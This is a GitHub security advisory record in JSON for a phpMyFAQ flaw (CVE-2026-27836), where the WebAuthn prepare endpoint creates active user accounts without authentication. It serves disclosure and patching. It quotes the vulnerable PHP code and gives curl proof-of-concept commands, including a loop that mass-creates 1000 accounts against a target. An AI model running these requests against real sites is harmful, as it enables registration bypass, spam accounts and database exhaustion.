{"id":"GHSA-w22q-m2fm-x9f4","summary":"phpMyFAQ Allows Unauthenticated Account Creation via WebAuthn Prepare Endpoint","details":"### Summary\n\nThe WebAuthn prepare endpoint (`/api/webauthn/prepare`) creates new active user accounts without any authentication, CSRF protection, CAPTCHA, or configuration checks. This allows unauthenticated attackers to create unlimited user accounts even when registration is disabled.\n\n### Details\n\n**File:** `phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/WebAuthnController.php`, lines 63-79\n\n```php\n#[Route(path: 'webauthn/prepare', name: 'api.private.webauthn.prepare', methods: ['POST'])]\npublic function prepare(Request $request): JsonResponse\n{\n    $data = json_decode($request-\u003egetContent(), ...);\n    $username = Filter::filterVar($data-\u003eusername, FILTER_SANITIZE_SPECIAL_CHARS);\n\n    if (!$this-\u003euser-\u003egetUserByLogin($username, raiseError: false)) {\n        try {\n            $this-\u003euser-\u003ecreateUser($username);\n            $this-\u003euser-\u003esetStatus(status: 'active');\n            $this-\u003euser-\u003esetAuthSource(AuthenticationSourceType::AUTH_WEB_AUTHN-\u003evalue);\n            $this-\u003euser-\u003esetUserData([\n                'display_name' =\u003e $username,\n                'email' =\u003e $username,\n            ]);\n```\n\nThe endpoint:\n1. Accepts any POST request with a JSON `username` field\n2. If the username doesn't exist, creates a new **active** user account\n3. Does NOT check if WebAuthn support is enabled (`security.enableWebAuthnSupport`)\n4. Does NOT check if registration is enabled (`security.enableRegistration`)\n5. Does NOT verify CSRF tokens\n6. Does NOT require captcha validation\n7. Has no rate limiting\n\n### PoC\n\n```bash\n# Create an account - no auth needed\ncurl -X POST https://TARGET/api/webauthn/prepare \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"attacker_account\"}'\n\n# Mass account creation\nfor i in $(seq 1 1000); do\n  curl -s -X POST https://TARGET/api/webauthn/prepare \\\n    -H 'Content-Type: application/json' \\\n    -d \"{\\\"username\\\":\\\"spam_user_$i\"}\" &\ndone\n```\n\n### Impact\n\n- **Registration bypass:** Accounts created even when self-registration is disabled\n- **Username squatting:** Reserve usernames before legitimate users\n- **Database exhaustion:** Create millions of fake active accounts (DoS)\n- **User enumeration:** Different responses for existing vs new usernames\n- **Security control bypass:** WebAuthn config check is bypassed entirely\n\nAll phpMyFAQ installations with the WebAuthn controller routed (default) are affected, regardless of configuration settings.","aliases":["CVE-2026-27836"],"modified":"2026-02-28T06:41:21.327452Z","published":"2026-02-27T21:01:58Z","database_specific":{"nvd_published_at":"2026-02-27T20:21:40Z","cwe_ids":["CWE-862"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-02-27T21:01:58Z"},"references":[{"type":"WEB","url":"https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-w22q-m2fm-x9f4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27836"},{"type":"WEB","url":"https://github.com/thorsten/phpMyFAQ/commit/f2ab673f0668753cd0f7c7c8bc7fd2304dcf5cb1"},{"type":"PACKAGE","url":"https://github.com/thorsten/phpMyFAQ"}],"affected":[{"package":{"name":"thorsten/phpmyfaq","ecosystem":"Packagist","purl":"pkg:composer/thorsten/phpmyfaq"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.18"}]}],"versions":["2.10.0-alpha","2.8.0","2.8.0-RC","2.8.0-RC2","2.8.0-RC3","2.8.0-RC4","2.8.0-alpha2","2.8.0-alpha3","2.8.0-beta","2.8.0-beta2","2.8.0-beta3","2.8.1","2.8.10","2.8.11","2.8.12","2.8.13","2.8.14","2.8.15","2.8.16","2.8.17","2.8.18","2.8.19","2.8.2","2.8.20","2.8.21","2.8.22","2.8.23","2.8.24","2.8.25","2.8.26","2.8.27","2.8.28","2.8.29","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.0-alpha","2.9.0-alpha2","2.9.0-alpha3","2.9.0-alpha4","2.9.0-beta","2.9.0-beta2","2.9.0-rc","2.9.0-rc2","2.9.0-rc3","2.9.0-rc4","2.9.1","2.9.10","2.9.11","2.9.12","2.9.13","2.9.2","2.9.3","2.9.4","2.9.5","2.9.6","2.9.7","2.9.8","2.9.9","3.0.0","3.0.0-RC","3.0.0-RC.2","3.0.0-alpha","3.0.0-alpha.2","3.0.0-alpha.3","3.0.0-alpha.4","3.0.0-beta","3.0.0-beta.2","3.0.0-beta.3","3.0.1","3.0.10","3.0.11","3.0.12","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.0-RC","3.1.0-alpha","3.1.0-alpha.2","3.1.0-alpha.3","3.1.0-beta","3.1.1","3.1.10","3.1.11","3.1.12","3.1.13","3.1.14","3.1.15","3.1.16","3.1.17","3.1.18","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","3.2.0","3.2.0-RC","3.2.0-RC.2","3.2.0-RC.4","3.2.0-alpha","3.2.0-beta","3.2.0-beta.2","3.2.1","3.2.10","3.2.2","3.2.3","3.2.4","3.2.5","3.2.6","3.2.7","3.2.8","3.2.9","4.0.0","4.0.0-RC","4.0.0-RC.2","4.0.0-RC.3","4.0.0-RC.4","4.0.0-RC.5","4.0.0-alpha","4.0.0-alpha.2","4.0.0-alpha.3","4.0.0-alpha.4","4.0.0-beta","4.0.0-beta.2","4.0.1","4.0.10","4.0.11","4.0.12","4.0.13","4.0.14","4.0.15","4.0.16","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.0.9"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-w22q-m2fm-x9f4/GHSA-w22q-m2fm-x9f4.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"}]}